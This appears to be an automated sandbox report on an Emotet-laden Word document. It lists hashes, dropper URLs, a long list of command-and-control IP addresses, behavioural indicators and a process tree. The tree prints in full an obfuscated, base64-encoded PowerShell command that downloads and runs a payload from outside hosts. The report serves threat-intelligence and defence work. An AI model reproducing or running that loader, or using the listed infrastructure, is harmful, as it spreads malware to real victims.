Analysis
- max time kernel
136s - max time network
141s - platform
windows10_x64 - resource
win10v200722 - submitted
24/09/2020, 00:44
Static task
static1
Behavioral task
behavioral1
Sample
GTAS2020_09.doc
Resource
win7v200722
General
- Target GTAS2020_09.doc
- Size 161KB
- Sample200924-qf2cb4hxc6
- SHA256 6e7ae3df631cfa3174a4e9e061f71a3453806fe930adca05896343d9e6f07ea4
- MD5 0e93d59d9ad8ceae6c33b21f971146d4
- SHA1 117b46279864dd6848c288b36e019e85c4bad3a3
- SHA512 610568cf67052b60c83c2bd2bea3ef9717acacf89b466c8805680d0afb93dd60cffca3179f104e57efce12d043f6b37db678e07b5ccdf0ad1bdadee1fe44b747
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://guitarsforisrael.org/QPOUUYxLBk/1nprgf/
-
exe.dropper
http://sadanandpvc.com/twitter/BssXB/
-
exe.dropper
http://help-m2c.eccang.com/pseovck27kr/T/
-
exe.dropper
http://youtube-monetization.com/qrnsp/2v/
-
exe.dropper
http://ahrgintl.com/alfacgiapi/jg1VUae/
-
exe.dropper
http://helionspharmaceutical.com/wp-admin/Xg/
-
exe.dropper
http://hanulmotors.com/nbqso/H0DdOyB/
Extracted
-
emotet
-
174.106.122.139:80
-
159.203.116.47:8080
-
173.249.6.108:443
-
104.236.246.93:8080
-
174.45.13.118:80
-
137.59.187.107:8080
-
94.200.114.161:80
-
37.187.72.193:8080
-
67.10.155.92:80
-
121.124.124.40:7080
-
24.43.99.75:80
-
75.139.38.211:80
-
109.74.5.95:8080
-
137.119.36.33:80
-
74.134.41.124:80
-
66.65.136.14:80
-
94.1.108.190:443
-
181.169.235.7:80
-
79.137.83.50:443
-
104.131.44.150:8080
-
121.7.127.163:80
-
96.249.236.156:443
-
120.150.60.189:80
-
134.209.36.254:8080
-
110.145.77.103:80
-
118.83.154.64:443
-
71.72.196.159:80
-
50.91.114.38:80
-
62.75.141.82:80
-
157.245.99.39:8080
-
140.186.212.146:80
-
168.235.67.138:7080
-
104.131.11.150:443
-
78.24.219.147:8080
-
46.105.131.79:8080
-
104.251.33.179:80
-
24.43.32.186:80
-
200.114.213.233:8080
-
153.137.36.142:80
-
85.96.199.93:80
-
94.23.237.171:443
-
5.39.91.110:7080
-
85.152.162.105:80
-
162.241.242.173:8080
-
213.196.135.145:80
-
139.99.158.11:443
-
194.187.133.160:443
-
78.187.156.31:80
-
1.221.254.82:80
-
124.41.215.226:80
-
139.130.242.43:80
-
209.141.54.221:8080
-
87.106.136.232:8080
-
83.169.36.251:8080
-
195.7.12.8:80
-
185.94.252.104:443
-
95.213.236.64:8080
-
42.200.107.142:80
-
203.153.216.189:7080
-
68.188.112.97:80
-
5.196.74.210:8080
-
87.106.139.101:8080
-
104.32.141.43:80
-
94.124.59.22:8080
-
74.219.172.26:80
-
108.46.29.236:80
-
93.147.212.206:80
-
172.104.97.173:8080
-
190.240.194.77:443
-
103.86.49.11:8080
-
74.208.45.104:8080
-
82.80.155.43:80
-
61.19.246.238:443
-
139.162.108.71:8080
-
121.7.31.214:80
-
188.219.31.12:80
-
37.139.21.175:8080
-
181.169.34.190:80
-
219.74.18.66:443
-
123.176.25.234:80
-
216.139.123.119:80
-
79.98.24.39:8080
-
62.30.7.67:443
-
139.162.60.124:8080
-
176.111.60.55:8080
-
91.211.88.52:7080
-
172.91.208.86:80
-
139.59.60.244:8080
-
89.216.122.92:80
-
142.112.10.95:20
-
107.5.122.110:80
-
50.35.17.13:80
-
97.82.79.83:80
-
68.252.26.78:80
-
110.142.236.207:80
-
47.144.21.12:443
-
24.137.76.62:80
-
220.245.198.194:80
-
74.120.55.163:80
-
24.179.13.119:80
-
113.61.66.94:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2624 2232 POWeRsHeLL.exe 72 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1224-11-0x0000000002240000-0x0000000002252000-memory.dmp emotet behavioral2/memory/1224-11-0x0000000002240000-0x0000000002252000-memory.dmp emotet behavioral2/memory/1224-12-0x0000000002260000-0x0000000002270000-memory.dmp emotet behavioral2/memory/1224-12-0x0000000002260000-0x0000000002270000-memory.dmp emotet behavioral2/memory/2640-15-0x00000000005D0000-0x00000000005E2000-memory.dmp emotet behavioral2/memory/2640-15-0x00000000005D0000-0x00000000005E2000-memory.dmp emotet behavioral2/memory/2640-16-0x00000000005F0000-0x0000000000600000-memory.dmp emotet behavioral2/memory/2640-16-0x00000000005F0000-0x0000000000600000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 14 2624 POWeRsHeLL.exe - Executes dropped EXE 2 IoCs
pid Process 1224 Bxpa1zx6.exe 2640 tapiperf.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\msaatext\tapiperf.exe Bxpa1zx6.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 856 WINWORD.EXE 856 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2624 POWeRsHeLL.exe 2624 POWeRsHeLL.exe 2624 POWeRsHeLL.exe 2640 tapiperf.exe 2640 tapiperf.exe 2640 tapiperf.exe 2640 tapiperf.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2624 POWeRsHeLL.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 856 WINWORD.EXE 856 WINWORD.EXE 856 WINWORD.EXE 856 WINWORD.EXE 856 WINWORD.EXE 856 WINWORD.EXE 856 WINWORD.EXE 856 WINWORD.EXE 856 WINWORD.EXE 856 WINWORD.EXE 1224 Bxpa1zx6.exe 2640 tapiperf.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2624 wrote to memory of 1224 2624 POWeRsHeLL.exe 78 PID 2624 wrote to memory of 1224 2624 POWeRsHeLL.exe 78 PID 2624 wrote to memory of 1224 2624 POWeRsHeLL.exe 78 PID 1224 wrote to memory of 2640 1224 Bxpa1zx6.exe 79 PID 1224 wrote to memory of 2640 1224 Bxpa1zx6.exe 79 PID 1224 wrote to memory of 2640 1224 Bxpa1zx6.exe 79
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\GTAS2020_09.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:856
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exePOWeRsHeLL -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATABlAFwAcwA0AFgAZAAwADIAMABcAFMAZQBNAFcANABwAHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAYABVAHIASQB0AHkAYABwAHIATwBUAE8AYABjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACcAKQArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQATgBoAGQAZABpADYAZgAgAD0AIAAoACgAJwBCAHgAJwArACcAcABhACcAKQArACcAMQAnACsAKAAnAHoAJwArACcAeAA2ACcAKQApADsAJABTAGUAcAB5ADgAawBkAD0AKAAoACcAWgAnACsAJwBrAF8AZwAnACkAKwAnAHQAeQAnACsAJwBqACcAKQA7ACQAUABkADgANQB1AGEAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQBTADQAJwArACcAeABkADAAMgAwAHsAMAAnACsAJwB9AFMAJwArACgAJwBlAG0AdwAnACsAJwA0ACcAKQArACcAcAAnACsAJwBxAHsAMAB9ACcAKQAgACAALQBGACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAE4AaABkAGQAaQA2AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoANwB0AGoANABkAGsAPQAoACgAJwBVAHUAJwArACcAZgBfACcAKQArACgAJwBxAG8AJwArACcAZQAnACkAKQA7ACQATAB2ADUAawAxAG4AawA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBDAGwAaQBFAE4AVAA7ACQASAAyAHMAXwBuAGgAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAoACcAZwAnACsAJwB1AGkAJwApACsAJwB0AGEAJwArACcAcgAnACsAKAAnAHMAJwArACcAZgBvACcAKQArACgAJwByAGkAJwArACcAcwAnACkAKwAnAHIAJwArACcAYQBlACcAKwAoACcAbAAnACsAJwAuAG8AJwApACsAKAAnAHIAJwArACcAZwAvAFEAUAAnACsAJwBPAFUAJwApACsAJwBVAFkAJwArACgAJwB4ACcAKwAnAEwAQgBrACcAKQArACcALwAxACcAKwAoACcAbgBwAHIAJwArACcAZwBmACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBzAGEAZAAnACsAJwBhAG4AYQAnACkAKwAnAG4AJwArACcAZAAnACsAKAAnAHAAdgAnACsAJwBjACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdAAnACsAJwB3ACcAKwAnAGkAdAAnACkAKwAoACcAdABlAHIAJwArACcALwBCACcAKQArACgAJwBzACcAKwAnAHMAWAAnACsAJwBCAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBoAGUAbABwACcAKwAnAC0AbQAyAGMALgAnACsAJwBlACcAKwAnAGMAJwArACcAYwBhAG4AZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwBwACcAKwAnAHMAJwApACsAKAAnAGUAJwArACcAbwB2AGMAawAyACcAKQArACgAJwA3AGsAJwArACcAcgAnACkAKwAoACcALwBUACcAKwAnAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHkAbwAnACsAJwB1AHQAdQBiACcAKwAnAGUALQBtAG8AbgBlAHQAaQAnACkAKwAnAHoAYQAnACsAJwB0AGkAJwArACgAJwBvAG4AJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAcQByAG4AcwAnACsAJwBwAC8AMgAnACkAKwAnAHYAJwArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AYQAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGcAJwArACcAaQBuAHQAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBhAGwAZgBhACcAKwAnAGMAJwArACcAZwAnACkAKwAoACcAaQBhAHAAaQAvACcAKwAnAGoAZwAnACkAKwAoACcAMQBWACcAKwAnAFUAJwApACsAJwBhAGUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AaAAnACsAJwBlAGwAaQBvAG4AcwAnACkAKwAoACcAcABoACcAKwAnAGEAcgAnACkAKwAnAG0AJwArACgAJwBhAGMAZQAnACsAJwB1AHQAaQBjAGEAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAJwBYACcAKwAoACcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAYQAnACkAKwAoACcAbgB1AGwAbQAnACsAJwBvACcAKQArACgAJwB0AG8AJwArACcAcgBzAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAbgBiACcAKQArACcAcQAnACsAKAAnAHMAJwArACcAbwAvACcAKQArACgAJwBIADAAJwArACcARABkAE8AeQAnACsAJwBCAC8AJwApACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQB0ADMAbQB6AHcAbAA9ACgAKAAnAEoAJwArACcAcABlAGUAJwArACcAdgBuACcAKQArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAGgAMgBlADQAbQAzACAAaQBuACAAJABIADIAcwBfAG4AaAB0ACkAewB0AHIAeQB7ACQATAB2ADUAawAxAG4AawAuACIARABgAE8AVwBuAGwAbwBBAGAAZABGAGkAYABMAEUAIgAoACQASwBoADIAZQA0AG0AMwAsACAAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEUAbQBuADUAZAB2AGwAPQAoACgAJwBWACcAKwAnADcANwAnACkAKwAnAG0AZQAnACsAJwBlAGsAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAZAA4ADUAdQBhAHQAKQAuACIAbABgAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADkAOAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEoAbgBhADgAOQBfADIAPQAoACgAJwBLADcAJwArACcAbgAnACkAKwAoACcAXwBnAF8AJwArACcAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQA1AGUAYQBsAHQAaQA9ACgAKAAnAEUAcwAnACsAJwA1ADIAMABfACcAKQArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AMABoAF8AdABjAGkAPQAoACgAJwBQAGoAJwArACcAegB6ACcAKQArACgAJwAwAHcAJwArACcAeQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe"C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1224 -
C:\Windows\SysWOW64\msaatext\tapiperf.exe"C:\Windows\SysWOW64\msaatext\tapiperf.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2640
-
-